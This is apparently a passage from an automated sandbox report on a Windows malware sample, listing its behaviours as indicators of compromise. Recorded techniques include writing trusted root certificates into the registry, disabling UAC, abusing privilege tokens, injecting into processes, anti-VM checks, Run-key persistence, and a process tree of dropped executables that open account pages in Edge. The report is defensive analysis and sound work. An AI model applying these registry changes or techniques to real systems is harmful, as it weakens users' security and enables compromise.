Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	oFkmUtcix5wIgdiTI9OyBufP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4376	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
3252	explorha.exe
3252	explorha.exe
5180	msedge.exe
5180	msedge.exe
5188	msedge.exe
5188	msedge.exe
5264	msedge.exe
5264	msedge.exe
1120	msedge.exe
1120	msedge.exe
5868	amert.exe
5868	amert.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
2280	rundll32.exe
6464	powershell.exe
6464	powershell.exe
6464	powershell.exe
7076	identity_helper.exe
7076	identity_helper.exe
2416	explorha.exe
2416	explorha.exe
1192	explorgu.exe
1192	explorgu.exe
7008	propro.exe
7008	propro.exe
6212	rundll32.exe
6212	rundll32.exe
6212	rundll32.exe
6212	rundll32.exe
6212	rundll32.exe
6212	rundll32.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe
6868	redlinepanel.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6464	powershell.exe
Token: SeDebugPrivilege	6988	Traffic.exe
Token: SeDebugPrivilege	5096	32456.exe
Token: SeBackupPrivilege	6988	Traffic.exe
Token: SeSecurityPrivilege	6988	Traffic.exe
Token: SeSecurityPrivilege	6988	Traffic.exe
Token: SeSecurityPrivilege	6988	Traffic.exe
Token: SeSecurityPrivilege	6988	Traffic.exe
Token: SeDebugPrivilege	7008	propro.exe
Token: SeDebugPrivilege	6868	redlinepanel.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	6980	file300un.exe
Token: SeDebugPrivilege	4244	RegAsm.exe
Token: SeDebugPrivilege	2340	regsvcs.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeBackupPrivilege	5096	32456.exe
Token: SeSecurityPrivilege	5096	32456.exe
Token: SeSecurityPrivilege	5096	32456.exe
Token: SeSecurityPrivilege	5096	32456.exe
Token: SeSecurityPrivilege	5096	32456.exe
Token: SeDebugPrivilege	6760	RegAsm.exe
Token: SeDebugPrivilege	7012	powershell.EXE
Token: SeDebugPrivilege	948	powershell.EXE
Token: SeDebugPrivilege	6816	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeShutdownPrivilege	6976	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6976	msiexec.exe
Token: SeSecurityPrivilege	5300	msiexec.exe
Token: SeCreateTokenPrivilege	6976	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	6976	msiexec.exe
Token: SeLockMemoryPrivilege	6976	msiexec.exe
Token: SeIncreaseQuotaPrivilege	6976	msiexec.exe
Token: SeMachineAccountPrivilege	6976	msiexec.exe
Token: SeTcbPrivilege	6976	msiexec.exe
Token: SeSecurityPrivilege	6976	msiexec.exe
Token: SeTakeOwnershipPrivilege	6976	msiexec.exe
Token: SeLoadDriverPrivilege	6976	msiexec.exe
Token: SeSystemProfilePrivilege	6976	msiexec.exe
Token: SeSystemtimePrivilege	6976	msiexec.exe
Token: SeProfSingleProcessPrivilege	6976	msiexec.exe
Token: SeIncBasePriorityPrivilege	6976	msiexec.exe
Token: SeCreatePagefilePrivilege	6976	msiexec.exe
Token: SeCreatePermanentPrivilege	6976	msiexec.exe
Token: SeBackupPrivilege	6976	msiexec.exe
Token: SeRestorePrivilege	6976	msiexec.exe
Token: SeShutdownPrivilege	6976	msiexec.exe
Token: SeDebugPrivilege	6976	msiexec.exe
Token: SeAuditPrivilege	6976	msiexec.exe
Token: SeSystemEnvironmentPrivilege	6976	msiexec.exe
Token: SeChangeNotifyPrivilege	6976	msiexec.exe
Token: SeRemoteShutdownPrivilege	6976	msiexec.exe
Token: SeUndockPrivilege	6976	msiexec.exe
Token: SeSyncAgentPrivilege	6976	msiexec.exe
Token: SeEnableDelegationPrivilege	6976	msiexec.exe
Token: SeManageVolumePrivilege	6976	msiexec.exe
Token: SeImpersonatePrivilege	6976	msiexec.exe
Token: SeCreateGlobalPrivilege	6976	msiexec.exe
Token: SeRestorePrivilege	5300	msiexec.exe
Token: SeTakeOwnershipPrivilege	5300	msiexec.exe
Token: SeRestorePrivilege	5300	msiexec.exe
Token: SeTakeOwnershipPrivilege	5300	msiexec.exe
Token: SeRestorePrivilege	5300	msiexec.exe
Token: SeTakeOwnershipPrivilege	5300	msiexec.exe
Token: SeRestorePrivilege	5300	msiexec.exe
Token: SeTakeOwnershipPrivilege	5300	msiexec.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4476	go.exe
4476	go.exe
4476	go.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1676	go.exe
1676	go.exe
1676	go.exe
1676	go.exe
1676	go.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe

Suspicious use of SendNotifyMessage 39 IoCs

pid	Process
4476	go.exe
4476	go.exe
4476	go.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1120	msedge.exe
1676	go.exe
1676	go.exe
1676	go.exe
1676	go.exe
1676	go.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe
5356	ucg.1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 3252	1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe	89
PID 1960 wrote to memory of 3252	1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe	89
PID 1960 wrote to memory of 3252	1960	c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe	89
PID 3252 wrote to memory of 3428	3252	explorha.exe	94
PID 3252 wrote to memory of 3428	3252	explorha.exe	94
PID 3252 wrote to memory of 3428	3252	explorha.exe	94
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 3160	3252	explorha.exe	96
PID 3252 wrote to memory of 4476	3252	explorha.exe	99
PID 3252 wrote to memory of 4476	3252	explorha.exe	99
PID 3252 wrote to memory of 4476	3252	explorha.exe	99
PID 4476 wrote to memory of 1120	4476	go.exe	100
PID 4476 wrote to memory of 1120	4476	go.exe	100
PID 4476 wrote to memory of 5044	4476	go.exe	102
PID 4476 wrote to memory of 5044	4476	go.exe	102
PID 4476 wrote to memory of 4140	4476	go.exe	103
PID 4476 wrote to memory of 4140	4476	go.exe	103
PID 5044 wrote to memory of 692	5044	msedge.exe	104
PID 5044 wrote to memory of 692	5044	msedge.exe	104
PID 1120 wrote to memory of 4212	1120	msedge.exe	105
PID 1120 wrote to memory of 4212	1120	msedge.exe	105
PID 4140 wrote to memory of 2752	4140	msedge.exe	106
PID 4140 wrote to memory of 2752	4140	msedge.exe	106
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107
PID 5044 wrote to memory of 2416	5044	msedge.exe	107

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Users\Admin\AppData\Local\Temp\c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe
"C:\Users\Admin\AppData\Local\Temp\c0dbdccf824a6089bcd95032c39d96c786205127d31551092ecae334d6b5015c.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
  "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Users\Admin\AppData\Local\Temp\1000042001\553124542c.exe
    "C:\Users\Admin\AppData\Local\Temp\1000042001\553124542c.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    PID:3428
- - C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
    "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    PID:3160
- - C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe
    "C:\Users\Admin\AppData\Local\Temp\1000044001\go.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
        5⤵
        
        PID:4212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2016 /prefetch:2
        5⤵
        
        PID:5172
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:8
        5⤵
        
        PID:5324
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
        5⤵
        
        PID:5676
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
        5⤵
        
        PID:5696
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3928 /prefetch:1
        5⤵
        
        PID:6004
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2932 /prefetch:1
        5⤵
        
        PID:5828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
        5⤵
        
        PID:5864
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
        5⤵
        
        PID:5400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 /prefetch:8
        5⤵
        
        PID:7060
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7076
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
        5⤵
        
        PID:4628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1
        5⤵
        
        PID:228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
        5⤵
        
        PID:6284
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,13644612744742343134,16135243322920660721,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5380 /prefetch:1
        5⤵
        
        PID:6248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/video
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbf8146f8,0x7ffbbf814708,0x7ffbbf814718
        5⤵
        
        PID:692
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1968,11039687094258536398,3721175113403504362,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2008 /prefetch:2
        5⤵
        
        PID:2416
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1968,11039687094258536398,3721175113403504362,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2464 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
